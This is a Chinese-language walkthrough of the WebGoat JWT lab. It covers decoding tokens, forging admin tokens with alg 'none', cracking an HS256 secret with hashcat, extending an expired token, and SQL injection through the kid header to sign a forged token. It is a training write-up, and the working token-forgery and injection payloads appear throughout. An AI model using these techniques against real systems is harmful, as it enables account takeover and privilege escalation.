• 本文来自自己打 WebGoat JWT Tokens 的一些过程,也算中译,仅供参考。
  • WebGoat 靶场搭建:
1
docker run -itd --name webgoat -p 8080:8080 -p 9090:9090 webgoat/webgoat

JWT 介绍

  • JWT(JSON Web Token)则是一种用于生成和验证 Token 的规范化标准。
  • 它是一种轻量级、自包含的方式,以 JSON 格式存储用户相关的信息,并使用数字签名保证数据完整性和真实性。
  • 具体可以参考官网介绍:Introduction to JSON Web Tokens

jwt_token

  • JWT 由三部分组成:

    • 头部(Header):头部包含加密算法和类型信息

    • 载荷(Payload):载荷包含用户相关数据

    • 签名(Signature)签名用于验证 Token 的真实性

JWT 解码

  • 让我们尝试解码 JWT 令牌,为此您可以使用 WebWolf 中的 JWT 功能。给出以下标记:
1
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
  • 复制并粘贴以下令牌并解码令牌,您能找到令牌中的用户吗?

  • 使用 WebWolf 中的 JWT 解密网站,解码得到如下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Header
{
"alg" : "HS256"
}

# Payload
{
"authorities" : [ "ROLE_ADMIN", "ROLE_USER" ],
"client_id" : "my-client-with-secret",
"exp" : 1607099608,
"jti" : "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
"scope" : [ "read", "write" ],
"user_name" : "user"
}
  • 得到用户名为:user。

JWT 验证流程

  • 获取 token 的基本顺序如下:

jwt_diagram

  • JWT 具有高度的可定制性和灵活性,适用于各种场景,如单点登录(SSO)和分布式系统。

  • JWT 流程如下:

    • 用户使用账号/密码登录应用,登录的请求发送到 Authentication Server。

    • Authentication Server 进行用户验证,然后创建 JWT 字符串返回给客户端。

    • 客户端请求接口时,在请求头带上 JWT。

    • Application Server 验证 JWT 合法性,如果合法则继续调用应用接口返回结果。

  • 可以看出与 Token 方式有一些不同的地方,就是不需要依赖服务器,用户信息存储在客户端。

  • 所以关键在于生成 JWT 和解析 JWT 这两个地方。

JWT 签名修改

  • 每个 JWT 令牌至少应在发送到客户端之前进行签名,如果令牌未签名,客户端应用程序将能够更改令牌的内容。
  • 签名规范在此处定义,您可以使用的具体算法在此处描述,基本上可以归结为您使用“带有 SHA-2 函数的 HMAC”或“带有 RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS 的数字签名”函数来签名令牌 。

  • 尝试更改您收到的令牌并通过更改令牌成为管理员用户,一旦您成为管理员,请重置投票。
  • 现在外面是一个 Guest 用户:

image-20231227102545051

  • 随便切换一个用户:

image-20231227102629758

  • 这是我们就可以进行投票了:

image-20231227102643302

  • 在点击垃圾桶进行投票重置时,提示需要 admin 用户:

image-20231227102659238

  • 由于是需要使用 admin 的身份,在点击垃圾桶时使用 BurpSuite 抓个包试试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /WebGoat/JWT/votings HTTP/1.1
Host: 10.10.8.135:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: http://10.10.8.135:8080
DNT: 1
Connection: close
Referer: http://10.10.8.135:8080/WebGoat/start.mvc
Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2OTMzODU0NTQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.8AGdCVmVzdi89q4JimbT0XGf4l2bCtEy0wP2RS_louORy1PHGCR07NBfZ_euhfR3FEVkxxRjhgwMi-PbIh4_pg; JSESSIONID=GR77KYlceqm7tb-jJhbgFXzprutdbr6S9WPescgh
Content-Length: 0
  • 发现一个 access_token 字段,一看就是 JWT 格式,解密看看:
1
2
3
4
5
6
7
8
9
10
11
# Header
{
"alg" : "HS512"
}

# Payload
{
"admin" : "false",
"iat" : 1693385454,
"user" : "Tom"
}
  • 找到了 admin 字段,修改成 true,重新编码成 JWT 格式发包试试:
1
2
3
4
5
6
7
8
9
# Payload
{
"admin" : "true",
"iat" : 1693385454,
"user" : "Tom"
}

# JWT
eyJhbGciOiJIUzUxMiJ9.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2OTMzODU0NTQsDQogICJ1c2VyIiA6ICJUb20iDQp9
  • 但这样会出现一个问题,Signature 部分消失了,因为没有 Secret key 无法进行生成,尝试把 alg 字段变为 none 试试:
1
2
3
4
5
6
7
# Header
{
"alg" : "none"
}

# JWT
eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2OTMzODU0NTQsDQogICJ1c2VyIiA6ICJUb20iDQp9

image-20231227102806570

  • 发包返回时,发现还是 false,有个小坑,虽然没有 Signature 字段了,但是 “.” 还是要加的:

image-20231227102826794

  • 查看结果,票数重置成功:

image-20231227102839887

JWT 暴力破解

  • 通过具有 SHA-2 函数的 HMAC,您可以使用密钥来签名和验证令牌。一旦我们找到了这个密钥,我们就可以创建一个新的令牌并对其进行签名。因此,密钥足够强大非常重要,因此暴力或字典攻击是不可行的。一旦你有了令牌,你就可以开始离线暴力或字典攻击。
  • 鉴于我们有以下令牌,请尝试找出密钥并提交一个新密钥,并将用户名更改为 WebGoat:
1
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY5MjUyNDMyMywiZXhwIjoxNjkyNTI0MzgzLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.QvGz_b_KM-UFNFxXdf0yWkqCerT3fwBxA-FKedqTZEI
  • 先解密看看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Header
{
"alg" : "HS256"
}

# Payload
{
"Email" : "tom@webgoat.org",
"Role" : [ "Manager", "Project Administrator" ],
"aud" : "webgoat.org",
"exp" : 1692524383,
"iat" : 1692524323,
"iss" : "WebGoat Token Builder",
"sub" : "tom@webgoat.org",
"username" : "Tom"
}
  • 但不知道 Signature Key 改了也没用,直接使用工具进行暴力破解。
  • 重点来了,常用的工具有:
    • c-jwt-cracker:需要 C 环境,用 Docker 安装,破解了 2 个小时都没出来。
    • hashcat:Windows 环境下要安装显卡的一些 lib,Linux 环境下可以直接使用。
    • jwtcrack:个人感觉最好用的 JWT 破解工具。
  • 重重点又来了,极度恶心,需要先去下载一下常用单词字典(google-10000-english)才行,敲。
  • 执行如下命令开始破解:
    • -m 16500:这里的 16500 对应的就是 JWT 的爆破;
    • -a 3:表示暴力破解;
    • -w 3:表示高速破解,会让电脑直接卡顿;
    • result.txt:JWT 文件;
    • google-10000-english.txt:字典文件
1
2
3
root at kali in ~ 
$ hashcat -m 16500 result.txt -a 3 -w 3 google-10000-english.txt --force --show
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY5MjUzODI3NywiZXhwIjoxNjkyNTM4MzM3LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.AklMskaJb0WfpAY9R3tY44oSPRogzF7cZUf4BkfTlso:business
  • 得到 Signature Key,重新构造 JWT 如下(记得修改 exp 时间戳):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Header
{
"alg" : "HS256"
}

# Payload
{
"Email" : "tom@webgoat.org",
"Role" : [ "Manager", "Project Administrator" ],
"aud" : "webgoat.org",
"exp" : 1692599999,
"iat" : 1692538390,
"iss" : "WebGoat Token Builder",
"sub" : "tom@webgoat.org",
"username" : "WebGoat"
}

# Key
business

eyJhbGciOiJIUzI1NiJ9.ew0KICAiRW1haWwiIDogInRvbUB3ZWJnb2F0Lm9yZyIsDQogICJSb2xlIiA6IFsgIk1hbmFnZXIiLCAiUHJvamVjdCBBZG1pbmlzdHJhdG9yIiBdLA0KICAiYXVkIiA6ICJ3ZWJnb2F0Lm9yZyIsDQogICJleHAiIDogMTY5MjU5OTk5OSwNCiAgImlhdCIgOiAxNjkyNTM4MzkwLA0KICAiaXNzIiA6ICJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLA0KICAic3ViIiA6ICJ0b21Ad2ViZ29hdC5vcmciLA0KICAidXNlcm5hbWUiIDogIldlYkdvYXQiDQp9.SM62p46xwGc9XU0Wtxbi5r4hzGbcue_7YEJIZT3rJMg

JWT Token 刷新

1
Not a valid JWT token, please try again
  • 说是没有 JWT Token,抓个包看看:

image-20231227111044880

  • 发现一个 Authoriaztion 字段,但不知填什么,查看一下日志文件:
1
2
3
4
5
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"
  • 发现一个 JWT,解密看看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

# Header
{
"alg" : "HS512"
}

# Payload
{
"admin" : "false",
"exp" : 1526217811,
"iat" : 1526131411,
"user" : "Tom"
}
  • 发现时间戳,拿去百度看看:

    • exp (expiration time):过期时间

    • iat (Issued At):签发时间

  • 发现是 18 年的时间,改一改:

1
2
3
4
5
6
{
"admin" : "false",
"exp" : 1692529999,
"iat" : 1526131411,
"user" : "Tom"
}
  • 重新生成 JWT:
1
eyJhbGciOiJIUzUxMiJ9.ew0KICAiYWRtaW4iIDogImZhbHNlIiwNCiAgImV4cCIgOiAxNjkyNTI5OTk5LA0KICAiaWF0IiA6IDE1MjYxMzE0MTEsDQogICJ1c2VyIiA6ICJUb20iDQp9.
  • 发包试试看:

image-20231227111215487

  • 成功修改!

JWT Final Challenge

  • 下面您会看到两个帐户,一个是杰瑞,一个是汤姆。杰瑞想要从推特上删除汤姆的账户,但他的令牌只能删除他的账户。你能尝试帮助他并删除 Toms 帐户吗?
  • 按照题目的意思需要删除 Tom 的账号,点击 Tom 的 Delete 显示:
1
Not a valid JWT token, please try again
  • 抓包看看:

image-20231227111338053

  • 发现在 URL 处有一个 Token,解码看看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8

# Header
{
"alg" : "HS256",
"kid" : "webgoat_key",
"typ" : "JWT"
}

# Payload
{
"Email" : "jerry@webgoat.com",
"Role" : [ "Cat" ],
"aud" : "webgoat.org",
"exp" : 1618905304,
"iat" : 1524210904,
"iss" : "WebGoat Token Builder",
"sub" : "jerry@webgoat.com",
"username" : "Jerry"
}
  • 根据之前的想法,alg = none、jerry = tom 试试(时间戳记得更新):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Header
{
"alg" : "none",
"kid" : "webgoat_key",
"typ" : "JWT"
}

# Payload
{
"Email" : "jerry@webgoat.com",
"Role" : [ "Cat" ],
"aud" : "webgoat.org",
"exp" : 1692599999,
"iat" : 1524210904,
"iss" : "WebGoat Token Builder",
"sub" : "jerry@webgoat.com",
"username" : "Tom"
}

eyJhbGciOiJub25lIiwia2lkIjoid2ViZ29hdF9rZXkiLCJ0eXAiOiJKV1QifQ.ew0KICAiRW1haWwiIDogImplcnJ5QHdlYmdvYXQuY29tIiwNCiAgIlJvbGUiIDogWyAiQ2F0IiBdLA0KICAiYXVkIiA6ICJ3ZWJnb2F0Lm9yZyIsDQogICJleHAiIDogMTY5MjU5OTk5OSwNCiAgImlhdCIgOiAxNTI0MjEwOTA0LA0KICAiaXNzIiA6ICJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLA0KICAic3ViIiA6ICJqZXJyeUB3ZWJnb2F0LmNvbSIsDQogICJ1c2VybmFtZSIgOiAiVG9tIg0KfQ0K.
  • 经尝试,不行,最后发现是 kid 字段存在 SQL 注入:
1
2
3
4
5
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
if (rs.next()) {
var6 = TextCodec.BASE64.decode(rs.getString(1));
break label54;
}
  • 此处查询 jwt_keys 表,且 kid 直接拼接并没有进行过滤等操作。
  • 由于这个语句比较熟悉,很有可能是 MySQL,试试用 Union Selet 进行拼接(YWxwYWNh = alpaca):
1
2
3
4
"SELECT key FROM jwt_keys WHERE id = '" + kid + "'"
SELECT key FROM jwt_keys WHERE id = ' kid '

' union select 'YWxwYWNh' FROM jwt_keys where id='webgoat_key

注:

  • 不能使用注释符,要用字段进行拼接,不然会爆 500 错误;
  • 签名需要先进行 base64,后续后端会进行一次 decodebase64;
  • 签名在 base64 后不能出现非英文字符,也会爆 500;
  • 最终 JWT 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Header
{
"alg" : "HS256",
"kid" : "' union select 'YWxwYWNh' FROM jwt_keys where id='webgoat_key",
"typ" : "JWT"
}

# Payload
{
"Email" : "jerry@webgoat.com",
"Role" : [ "Cat" ],
"aud" : "webgoat.org",
"exp" : 1692599999,
"iat" : 1524210904,
"iss" : "WebGoat Token Builder",
"sub" : "jerry@webgoat.com",
"username" : "Tom"
}
# Signature
alpaca

eyJhbGciOiJIUzI1NiIsImtpZCI6IicgdW5pb24gc2VsZWN0ICdZV3h3WVdOaCcgRlJPTSBqd3Rfa2V5cyB3aGVyZSBpZD0nd2ViZ29hdF9rZXkiLCJ0eXAiOiJKV1QifQ.ew0KICAiRW1haWwiIDogImplcnJ5QHdlYmdvYXQuY29tIiwNCiAgIlJvbGUiIDogWyAiQ2F0IiBdLA0KICAiYXVkIiA6ICJ3ZWJnb2F0Lm9yZyIsDQogICJleHAiIDogMTY5MjU5OTk5OSwNCiAgImlhdCIgOiAxNTI0MjEwOTA0LA0KICAiaXNzIiA6ICJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLA0KICAic3ViIiA6ICJqZXJyeUB3ZWJnb2F0LmNvbSIsDQogICJ1c2VybmFtZSIgOiAiVG9tIg0KfQ.SFJ3_LK_2dB1zHfr653KisMjyQ4Nbhc9CRcG2Csug6U

image-20231227111844144